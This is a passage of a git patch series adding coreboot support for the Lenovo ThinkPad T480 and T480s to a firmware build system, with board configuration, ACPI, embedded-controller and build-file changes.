From bce18815fd5b2242972ab3fea8a68deeba258254 Mon Sep 17 00:00:00 2001 From: AK Unterkontrolle Date: Mon, 3 Feb 2025 22:33:20 +0100 Subject: [PATCH 01/50] Add additional coreboot version for T480 Signed-off-by: Thierry Laurion --- modules/coreboot | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/modules/coreboot b/modules/coreboot index 5793983fe..7de21fb43 100644 --- a/modules/coreboot +++ b/modules/coreboot @@ -98,6 +98,11 @@ coreboot-dasharo_commit_hash := 94e5f5d5b808cf8d8fd5c70d4ef6a08a054f8986 $(eval $(call coreboot_module,dasharo,24.02.01)) #coreboot-dasharo_patch_version := unreleased +# T480 may or may not need a specific coreboot rev since it may or may not yet be yet included in the release referenced above +coreboot-t480_repo := https://review.coreboot.org/coreboot.git +coreboot-t480_commit_hash := 2f1e4e5e8515dd350cc9d68b48d32a5b6b02ae6a +$(eval $(call coreboot_module,t480,24.02.01)) + # Check that the board configured the coreboot version correctly ifeq "$(CONFIG_COREBOOT_VERSION)" "" $(error "$(BOARD): does not specify coreboot version under CONFIG_COREBOOT_VERSION") From ca1bd2025b17680d0b6f1b6fc6e846add12672e5 Mon Sep 17 00:00:00 2001 From: AK Unterkontrolle Date: Mon, 3 Feb 2025 22:34:08 +0100 Subject: [PATCH 02/50] Add coreboot patches for T480 Signed-off-by: Thierry Laurion --- ...soc-intel-skylake-configure-usb-acpi.patch | 94 + ...e-Enable-4E-4F-PNP-I-O-ports-in-boot.patch | 30 + ...Add-ThinkPad-T480-and-ThinkPad-T480s.patch | 2237 +++++++++++++++++ ...b-dell-Add-Optiplex-780-MT-x4x-ICH10.patch | 708 ++++++ ...ool-add-nuke-flag-all-0xFF-on-region.patch | 205 ++ ...or-coreboot-images-built-without-a-p.patch | 39 + ...b-dell-optiplex_780-Add-USFF-variant.patch | 326 +++ ...-dell-3050micro-disable-nvme-hotplug.patch | 49 + ...config-option-CONFIG_LENOVO_TBFW_BIN.patch | 78 + ...c-intel-skylake-Don-t-compress-FSP-S.patch | 36 + ...-Hardcoded-poweroff-after-power-fail.patch | 82 + ...aro-Comment-EC_DASHARO_EC_FLASH_SIZE.patch | 32 + ...e-Disable-stack-overflow-debug-optio.patch | 61 + ...tel-x4x-Disable-stack-overflow-debug.patch | 33 + 14 files changed, 4010 insertions(+) create mode 100644 patches/coreboot-t480/0001-soc-intel-skylake-configure-usb-acpi.patch create mode 100644 patches/coreboot-t480/0002-soc-intel-skylake-Enable-4E-4F-PNP-I-O-ports-in-boot.patch create mode 100644 patches/coreboot-t480/0003-mb-lenovo-Add-ThinkPad-T480-and-ThinkPad-T480s.patch create mode 100644 patches/coreboot-t480/0004-mb-dell-Add-Optiplex-780-MT-x4x-ICH10.patch create mode 100644 patches/coreboot-t480/0005-util-ifdtool-add-nuke-flag-all-0xFF-on-region.patch create mode 100644 patches/coreboot-t480/0006-Remove-warning-for-coreboot-images-built-without-a-p.patch create mode 100644 patches/coreboot-t480/0007-mb-dell-optiplex_780-Add-USFF-variant.patch create mode 100644 patches/coreboot-t480/0008-dell-3050micro-disable-nvme-hotplug.patch create mode 100644 patches/coreboot-t480/0009-lenovo-Add-Kconfig-option-CONFIG_LENOVO_TBFW_BIN.patch create mode 100644 patches/coreboot-t480/0010-soc-intel-skylake-Don-t-compress-FSP-S.patch create mode 100644 patches/coreboot-t480/0011-soc-intel-pmc-Hardcoded-poweroff-after-power-fail.patch create mode 100644 patches/coreboot-t480/0012-ec-dasharo-Comment-EC_DASHARO_EC_FLASH_SIZE.patch create mode 100644 patches/coreboot-t480/0013-src-intel-skylake-Disable-stack-overflow-debug-optio.patch create mode 100644 patches/coreboot-t480/0014-src-intel-x4x-Disable-stack-overflow-debug.patch diff --git a/patches/coreboot-t480/0001-soc-intel-skylake-configure-usb-acpi.patch b/patches/coreboot-t480/0001-soc-intel-skylake-configure-usb-acpi.patch new file mode 100644 index 000000000..215a4e6de --- /dev/null +++ b/patches/coreboot-t480/0001-soc-intel-skylake-configure-usb-acpi.patch @@ -0,0 +1,94 @@ +From 0a28ea805e3dddfaa89e6c4255506a390bc7ce04 Mon Sep 17 00:00:00 2001 +From: Felix Singer +Date: Wed, 26 Jun 2024 04:24:31 +0200 +Subject: [PATCH 01/11] soc/intel/skylake: configure usb acpi + +Change-Id: I53fc73046e4b107064fa8c3c617ba6d9b807b71d +Signed-off-by: Felix Singer +--- + src/soc/intel/skylake/Kconfig | 1 + + src/soc/intel/skylake/chipset.cb | 56 +++++++++++++++++++++++++++++++- + 2 files changed, 56 insertions(+), 1 deletion(-) + +diff --git a/src/soc/intel/skylake/Kconfig b/src/soc/intel/skylake/Kconfig +index 22017c848b..c24df2ef75 100644 +--- a/src/soc/intel/skylake/Kconfig ++++ b/src/soc/intel/skylake/Kconfig +@@ -10,6 +10,7 @@ config SOC_INTEL_COMMON_SKYLAKE_BASE + select CPU_INTEL_COMMON + select CPU_INTEL_FIRMWARE_INTERFACE_TABLE + select CPU_SUPPORTS_PM_TIMER_EMULATION ++ select DRIVERS_USB_ACPI + select EDK2_CPU_TIMER_LIB if PAYLOAD_EDK2 + select FSP_COMPRESS_FSP_S_LZ4 + select FSP_M_XIP +diff --git a/src/soc/intel/skylake/chipset.cb b/src/soc/intel/skylake/chipset.cb +index 6538a1475b..dfb81d496e 100644 +--- a/src/soc/intel/skylake/chipset.cb ++++ b/src/soc/intel/skylake/chipset.cb +@@ -13,7 +13,61 @@ chip soc/intel/skylake + device pci 07.0 alias chap off end + device pci 08.0 alias gmm off end # Gaussian Mixture Model + device pci 13.0 alias ish off end # SensorHub +- device pci 14.0 alias south_xhci off ops usb_xhci_ops end ++ device pci 14.0 alias south_xhci off ops usb_xhci_ops ++ chip drivers/usb/acpi ++ register "type" = "UPC_TYPE_HUB" ++ device usb 0.0 alias xhci_root_hub off ++ chip drivers/usb/acpi ++ device usb 2.0 alias usb2_port1 off end ++ end ++ chip drivers/usb/acpi ++ device usb 2.1 alias usb2_port2 off end ++ end ++ chip drivers/usb/acpi ++ device usb 2.2 alias usb2_port3 off end ++ end ++ chip drivers/usb/acpi ++ device usb 2.3 alias usb2_port4 off end ++ end ++ chip drivers/usb/acpi ++ device usb 2.4 alias usb2_port5 off end ++ end ++ chip drivers/usb/acpi ++ device usb 2.5 alias usb2_port6 off end ++ end ++ chip drivers/usb/acpi ++ device usb 2.6 alias usb2_port7 off end ++ end ++ chip drivers/usb/acpi ++ device usb 2.7 alias usb2_port8 off end ++ end ++ chip drivers/usb/acpi ++ device usb 2.8 alias usb2_port9 off end ++ end ++ chip drivers/usb/acpi ++ device usb 2.9 alias usb2_port10 off end ++ end ++ chip drivers/usb/acpi ++ device usb 3.0 alias usb3_port1 off end ++ end ++ chip drivers/usb/acpi ++ device usb 3.1 alias usb3_port2 off end ++ end ++ chip drivers/usb/acpi ++ device usb 3.2 alias usb3_port3 off end ++ end ++ chip drivers/usb/acpi ++ device usb 3.3 alias usb3_port4 off end ++ end ++ chip drivers/usb/acpi ++ device usb 3.4 alias usb3_port5 off end ++ end ++ chip drivers/usb/acpi ++ device usb 3.5 alias usb3_port6 off end ++ end ++ end ++ end ++ end + device pci 14.1 alias south_xdci off ops usb_xdci_ops end + device pci 14.2 alias thermal off end + device pci 14.3 alias cio off end +-- +2.39.5 + diff --git a/patches/coreboot-t480/0002-soc-intel-skylake-Enable-4E-4F-PNP-I-O-ports-in-boot.patch b/patches/coreboot-t480/0002-soc-intel-skylake-Enable-4E-4F-PNP-I-O-ports-in-boot.patch new file mode 100644 index 000000000..f60aa74a3 --- /dev/null +++ b/patches/coreboot-t480/0002-soc-intel-skylake-Enable-4E-4F-PNP-I-O-ports-in-boot.patch @@ -0,0 +1,30 @@ +From aa6dd7aa4693bd9ce1fe7f35b9532e5411fc1098 Mon Sep 17 00:00:00 2001 +From: Mate Kukri +Date: Fri, 22 Nov 2024 21:26:48 +0000 +Subject: [PATCH 02/11] soc/intel/skylake: Enable 4E/4F PNP I/O ports in + bootblock + +Change-Id: I57c9d8a9513a268e2ca6a0abd1306cd038598173 +Signed-off-by: Mate Kukri +--- + src/soc/intel/skylake/bootblock/pch.c | 4 ++-- + 1 file changed, 2 insertions(+), 2 deletions(-) + +diff --git a/src/soc/intel/skylake/bootblock/pch.c b/src/soc/intel/skylake/bootblock/pch.c +index df00bb85a9..beaece960b 100644 +--- a/src/soc/intel/skylake/bootblock/pch.c ++++ b/src/soc/intel/skylake/bootblock/pch.c +@@ -100,8 +100,8 @@ static void soc_config_pwrmbase(void) + + void pch_early_iorange_init(void) + { +- uint16_t io_enables = LPC_IOE_SUPERIO_2E_2F | LPC_IOE_KBC_60_64 | +- LPC_IOE_EC_62_66; ++ uint16_t io_enables = LPC_IOE_EC_4E_4F | LPC_IOE_SUPERIO_2E_2F | ++ LPC_IOE_KBC_60_64 | LPC_IOE_EC_62_66; + + const config_t *config = config_of_soc(); + +-- +2.39.5 + diff --git a/patches/coreboot-t480/0003-mb-lenovo-Add-ThinkPad-T480-and-ThinkPad-T480s.patch b/patches/coreboot-t480/0003-mb-lenovo-Add-ThinkPad-T480-and-ThinkPad-T480s.patch new file mode 100644 index 000000000..108f688db --- /dev/null +++ b/patches/coreboot-t480/0003-mb-lenovo-Add-ThinkPad-T480-and-ThinkPad-T480s.patch @@ -0,0 +1,2237 @@ +From 1652c22825d3001e77159aa539dfa49d2389c775 Mon Sep 17 00:00:00 2001 +From: Mate Kukri +Date: Tue, 31 Dec 2024 22:49:15 +0000 +Subject: [PATCH 03/11] mb/lenovo: Add ThinkPad T480 and ThinkPad T480s + +These machine have BootGuard fused and requires deguard to +boot coreboot. + +Known issues: +- Alpine Ridge Thunderbolt 3 controller does not work +- Some Fn+F{1-12} keys aren't handled correctly +- Nvidia dGPU is finicky + - Needs option ROM + - Power enable code is buggy + - Nouveau only works on linux 6.8-6.9 +- Headphone jack isn't detected as plugged in despite correct verbs + +Thanks to Leah Rowe for helping with the T480s. + +Signed-off-by: Mate Kukri +Change-Id: I19d421412c771c1f242f6ff39453f824fa866163 +--- + src/device/pci_rom.c | 4 +- + src/ec/lenovo/h8/acpi/ec.asl | 2 +- + src/ec/lenovo/h8/bluetooth.c | 6 +- + src/ec/lenovo/h8/wwan.c | 6 +- + src/mainboard/lenovo/sklkbl_thinkpad/Kconfig | 57 +++++ + .../lenovo/sklkbl_thinkpad/Kconfig.name | 7 + + .../lenovo/sklkbl_thinkpad/Makefile.mk | 73 +++++++ + .../lenovo/sklkbl_thinkpad/acpi/ec.asl | 12 ++ + .../lenovo/sklkbl_thinkpad/acpi/superio.asl | 3 + + .../lenovo/sklkbl_thinkpad/bootblock.c | 60 ++++++ + .../lenovo/sklkbl_thinkpad/devicetree.cb | 71 ++++++ + src/mainboard/lenovo/sklkbl_thinkpad/dsdt.asl | 33 +++ + src/mainboard/lenovo/sklkbl_thinkpad/ec.c | 153 +++++++++++++ + src/mainboard/lenovo/sklkbl_thinkpad/ec.h | 99 +++++++++ + src/mainboard/lenovo/sklkbl_thinkpad/gpio.h | 8 + + .../lenovo/sklkbl_thinkpad/ramstage.c | 105 +++++++++ + .../sklkbl_thinkpad/variants/t480/data.vbt | Bin 0 -> 4106 bytes + .../variants/t480/gma-mainboard.ads | 19 ++ + .../sklkbl_thinkpad/variants/t480/gpio.c | 203 ++++++++++++++++++ + .../sklkbl_thinkpad/variants/t480/hda_verb.c | 90 ++++++++ + .../variants/t480/memory_init_params.c | 20 ++ + .../variants/t480/overridetree.cb | 103 +++++++++ + .../sklkbl_thinkpad/variants/t480s/data.vbt | Bin 0 -> 4106 bytes + .../variants/t480s/gma-mainboard.ads | 19 ++ + .../sklkbl_thinkpad/variants/t480s/gpio.c | 199 +++++++++++++++++ + .../sklkbl_thinkpad/variants/t480s/hda_verb.c | 90 ++++++++ + .../variants/t480s/memory_init_params.c | 44 ++++ + .../variants/t480s/overridetree.cb | 103 +++++++++ + .../variants/t480s/spd/spd_0.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_1.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_10.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_11.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_12.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_13.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_14.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_15.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_16.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_17.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_18.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_19.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_2.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_20.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_3.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_4.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_5.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_6.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_7.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_8.bin | Bin 0 -> 512 bytes + .../variants/t480s/spd/spd_9.bin | Bin 0 -> 512 bytes + 49 files changed, 1583 insertions(+), 6 deletions(-) + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/Kconfig + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/Kconfig.name + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/Makefile.mk + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/acpi/ec.asl + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/acpi/superio.asl + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/bootblock.c + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/devicetree.cb + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/dsdt.asl + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/ec.c + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/ec.h + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/gpio.h + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/ramstage.c + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/data.vbt + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/gma-mainboard.ads + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/gpio.c + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/hda_verb.c + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/memory_init_params.c + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/overridetree.cb + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/data.vbt + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/gma-mainboard.ads + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/gpio.c + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/hda_verb.c + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/memory_init_params.c + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/overridetree.cb + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_0.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_1.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_10.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_11.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_12.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_13.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_14.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_15.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_16.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_17.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_18.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_19.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_2.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_20.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_3.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_4.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_5.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_6.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_7.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_8.bin + create mode 100644 src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/spd/spd_9.bin + +diff --git a/src/device/pci_rom.c b/src/device/pci_rom.c +index d60720eb49..cc6b9b068a 100644 +--- a/src/device/pci_rom.c ++++ b/src/device/pci_rom.c +@@ -304,11 +304,13 @@ void pci_rom_ssdt(const struct device *device) + return; + } + ++#if 0 + const char *scope = acpi_device_path(device); + if (!scope) { + printk(BIOS_ERR, "%s: Missing ACPI scope\n", dev_path(device)); + return; + } ++#endif + + /* Supports up to four devices. */ + if ((CBMEM_ID_ROM0 + ngfx) > CBMEM_ID_ROM3) { +@@ -336,7 +338,7 @@ void pci_rom_ssdt(const struct device *device) + memcpy(cbrom, rom, cbrom_length); + + /* write _ROM method */ +- acpigen_write_scope(scope); ++ acpigen_write_scope("\\_SB.PCI0.RP01.PEGP"); + acpigen_write_rom(cbrom, cbrom_length); + acpigen_pop_len(); /* pop scope */ + } +diff --git a/src/ec/lenovo/h8/acpi/ec.asl b/src/ec/lenovo/h8/acpi/ec.asl +index bc54d3b422..8f4a8e1986 100644 +--- a/src/ec/lenovo/h8/acpi/ec.asl ++++ b/src/ec/lenovo/h8/acpi/ec.asl +@@ -331,7 +331,7 @@ Device(EC) + #include "sleepbutton.asl" + #include "lid.asl" + #include "beep.asl" +-#include "thermal.asl" ++//#include "thermal.asl" + #include "systemstatus.asl" + #include "thinkpad.asl" + } +diff --git a/src/ec/lenovo/h8/bluetooth.c b/src/ec/lenovo/h8/bluetooth.c +index 16fc8dce39..be71a24ced 100644 +--- a/src/ec/lenovo/h8/bluetooth.c ++++ b/src/ec/lenovo/h8/bluetooth.c +@@ -1,6 +1,6 @@ + /* SPDX-License-Identifier: GPL-2.0-only */ + +-#include ++// #include + #include + #include + #include +@@ -28,16 +28,18 @@ bool h8_has_bdc(const struct device *dev) + { + struct ec_lenovo_h8_config *conf = dev->chip_info; + +- if (!conf->has_bdc_detection) { ++ if (1 || !conf->has_bdc_detection) { + printk(BIOS_INFO, "H8: BDC detection not implemented. " + "Assuming BDC installed\n"); + return true; + } + ++#if 0 + if (get_gpio(conf->bdc_gpio_num) == conf->bdc_gpio_lvl) { + printk(BIOS_INFO, "H8: BDC installed\n"); + return true; + } ++#endif + + printk(BIOS_INFO, "H8: BDC not installed\n"); + return false; +diff --git a/src/ec/lenovo/h8/wwan.c b/src/ec/lenovo/h8/wwan.c +index 685886fcce..5cdcf77406 100644 +--- a/src/ec/lenovo/h8/wwan.c ++++ b/src/ec/lenovo/h8/wwan.c +@@ -1,6 +1,6 @@ + /* SPDX-License-Identifier: GPL-2.0-only */ + +-#include ++// #include + #include + #include + #include +@@ -26,16 +26,18 @@ bool h8_has_wwan(const struct device *dev) + { + struct ec_lenovo_h8_config *conf = dev->chip_info; + +- if (!conf->has_wwan_detection) { ++ if (1 || !conf->has_wwan_detection) { + printk(BIOS_INFO, "H8: WWAN detection not implemented. " + "Assuming WWAN installed\n"); + return true; + } + ++#if 0 + if (get_gpio(conf->wwan_gpio_num) == conf->wwan_gpio_lvl) { + printk(BIOS_INFO, "H8: WWAN installed\n"); + return true; + } ++#endif + + printk(BIOS_INFO, "H8: WWAN not installed\n"); + return false; +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/Kconfig b/src/mainboard/lenovo/sklkbl_thinkpad/Kconfig +new file mode 100644 +index 0000000000..4998672943 +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/Kconfig +@@ -0,0 +1,57 @@ ++# SPDX-License-Identifier: GPL-2.0-only ++ ++config BOARD_LENOVO_SKLKBL_THINKPAD_COMMON ++ bool ++ select BOARD_ROMSIZE_KB_16384 ++ select EC_LENOVO_H8 ++ select EC_LENOVO_PMH7 ++ select H8_HAS_BAT_THRESHOLDS_IMPL ++ select H8_HAS_LEDLOGO ++ select H8_HAS_PRIMARY_FN_KEYS ++ select HAVE_ACPI_RESUME ++ select HAVE_ACPI_TABLES ++ select INTEL_GMA_HAVE_VBT ++ select INTEL_INT15 ++ select MAINBOARD_HAS_LIBGFXINIT ++ select MAINBOARD_HAS_TPM2 ++ select MAINBOARD_USES_IFD_GBE_REGION ++ select MEMORY_MAPPED_TPM ++ select SOC_INTEL_COMMON_BLOCK_HDA_VERB ++ select SOC_INTEL_KABYLAKE ++ select SPD_READ_BY_WORD ++ select SYSTEM_TYPE_LAPTOP ++ ++config BOARD_LENOVO_T480 ++ bool ++ select BOARD_LENOVO_SKLKBL_THINKPAD_COMMON ++ ++config BOARD_LENOVO_T480S ++ bool ++ select BOARD_LENOVO_SKLKBL_THINKPAD_COMMON ++ ++if BOARD_LENOVO_SKLKBL_THINKPAD_COMMON ++ ++config MAINBOARD_DIR ++ default "lenovo/sklkbl_thinkpad" ++ ++config VARIANT_DIR ++ default "t480" if BOARD_LENOVO_T480 ++ default "t480s" if BOARD_LENOVO_T480S ++ ++config OVERRIDE_DEVICETREE ++ default "variants/\$(CONFIG_VARIANT_DIR)/overridetree.cb" ++ ++config MAINBOARD_PART_NUMBER ++ default "T480" if BOARD_LENOVO_T480 ++ default "T480s" if BOARD_LENOVO_T480S ++ ++config CBFS_SIZE ++ default 0x900000 ++ ++config DIMM_MAX ++ default 2 ++ ++config DIMM_SPD_SIZE ++ default 512 # DDR4 ++ ++endif +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/Kconfig.name b/src/mainboard/lenovo/sklkbl_thinkpad/Kconfig.name +new file mode 100644 +index 0000000000..abc273f387 +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/Kconfig.name +@@ -0,0 +1,7 @@ ++# SPDX-License-Identifier: GPL-2.0-only ++ ++config BOARD_LENOVO_T480 ++ bool "ThinkPad T480" ++ ++config BOARD_LENOVO_T480S ++ bool "ThinkPad T480s" +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/Makefile.mk b/src/mainboard/lenovo/sklkbl_thinkpad/Makefile.mk +new file mode 100644 +index 0000000000..c308239177 +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/Makefile.mk +@@ -0,0 +1,73 @@ ++## SPDX-License-Identifier: GPL-2.0-only ++ ++bootblock-y += bootblock.c ec.c ++ ++romstage-y += variants/$(VARIANT_DIR)/memory_init_params.c ++ ++ramstage-y += ramstage.c ec.c ++ramstage-y += variants/$(VARIANT_DIR)/gpio.c variants/$(VARIANT_DIR)/hda_verb.c ++ramstage-$(CONFIG_MAINBOARD_USE_LIBGFXINIT) += variants/$(VARIANT_DIR)/gma-mainboard.ads ++ ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_0.bin ++spd_0.bin-file := variants/$(VARIANT_DIR)/spd/spd_0.bin ++spd_0.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_1.bin ++spd_1.bin-file := variants/$(VARIANT_DIR)/spd/spd_1.bin ++spd_1.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_2.bin ++spd_2.bin-file := variants/$(VARIANT_DIR)/spd/spd_2.bin ++spd_2.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_3.bin ++spd_3.bin-file := variants/$(VARIANT_DIR)/spd/spd_3.bin ++spd_3.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_4.bin ++spd_4.bin-file := variants/$(VARIANT_DIR)/spd/spd_4.bin ++spd_4.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_5.bin ++spd_5.bin-file := variants/$(VARIANT_DIR)/spd/spd_5.bin ++spd_5.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_6.bin ++spd_6.bin-file := variants/$(VARIANT_DIR)/spd/spd_6.bin ++spd_6.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_7.bin ++spd_7.bin-file := variants/$(VARIANT_DIR)/spd/spd_7.bin ++spd_7.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_8.bin ++spd_8.bin-file := variants/$(VARIANT_DIR)/spd/spd_8.bin ++spd_8.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_9.bin ++spd_9.bin-file := variants/$(VARIANT_DIR)/spd/spd_9.bin ++spd_9.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_10.bin ++spd_10.bin-file := variants/$(VARIANT_DIR)/spd/spd_10.bin ++spd_10.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_11.bin ++spd_11.bin-file := variants/$(VARIANT_DIR)/spd/spd_11.bin ++spd_11.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_12.bin ++spd_12.bin-file := variants/$(VARIANT_DIR)/spd/spd_12.bin ++spd_12.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_13.bin ++spd_13.bin-file := variants/$(VARIANT_DIR)/spd/spd_13.bin ++spd_13.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_14.bin ++spd_14.bin-file := variants/$(VARIANT_DIR)/spd/spd_14.bin ++spd_14.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_15.bin ++spd_15.bin-file := variants/$(VARIANT_DIR)/spd/spd_15.bin ++spd_15.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_16.bin ++spd_16.bin-file := variants/$(VARIANT_DIR)/spd/spd_16.bin ++spd_16.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_17.bin ++spd_17.bin-file := variants/$(VARIANT_DIR)/spd/spd_17.bin ++spd_17.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_18.bin ++spd_18.bin-file := variants/$(VARIANT_DIR)/spd/spd_18.bin ++spd_18.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_19.bin ++spd_19.bin-file := variants/$(VARIANT_DIR)/spd/spd_19.bin ++spd_19.bin-type := raw ++cbfs-files-$(CONFIG_BOARD_LENOVO_T480S) += spd_20.bin ++spd_20.bin-file := variants/$(VARIANT_DIR)/spd/spd_20.bin ++spd_20.bin-type := raw +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/acpi/ec.asl b/src/mainboard/lenovo/sklkbl_thinkpad/acpi/ec.asl +new file mode 100644 +index 0000000000..3a949a2fca +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/acpi/ec.asl +@@ -0,0 +1,12 @@ ++/* SPDX-License-Identifier: GPL-2.0-only */ ++ ++#define BRIGHTNESS_UP \_SB.PCI0.GFX0.INCB ++#define BRIGHTNESS_DOWN \_SB.PCI0.GFX0.DECB ++#define THINKPAD_EC_GPE 22 ++ ++Name(\TCRT, 100) ++Name(\TPSV, 90) ++Name(\FLVL, 0) ++ ++#include ++#include +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/acpi/superio.asl b/src/mainboard/lenovo/sklkbl_thinkpad/acpi/superio.asl +new file mode 100644 +index 0000000000..55b1db5b11 +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/acpi/superio.asl +@@ -0,0 +1,3 @@ ++/* SPDX-License-Identifier: GPL-2.0-only */ ++ ++#include +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/bootblock.c b/src/mainboard/lenovo/sklkbl_thinkpad/bootblock.c +new file mode 100644 +index 0000000000..fb660dbdfa +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/bootblock.c +@@ -0,0 +1,60 @@ ++/* SPDX-License-Identifier: GPL-2.0-only */ ++ ++#include ++#include ++#include ++#include ++#include "ec.h" ++ ++static void configure_uart(uint16_t port, uint16_t iobase, uint8_t irqno) ++{ ++ microchip_pnp_enter_conf_state(port); ++ ++ // Select LPC I/F LDN ++ pnp_write(port, PNP_LDN_SELECT, LDN_LPCIF); ++ // Write UART BAR ++ pnp_write_le32(port, LPCIF_BAR_UART, (uint32_t) iobase << 16 | 0x8707); ++ // Set SIRQ4 to UART ++ pnp_write(port, LPCIF_SIRQ(irqno), LDN_UART); ++ ++ // Configure UART LDN ++ pnp_write(port, PNP_LDN_SELECT, 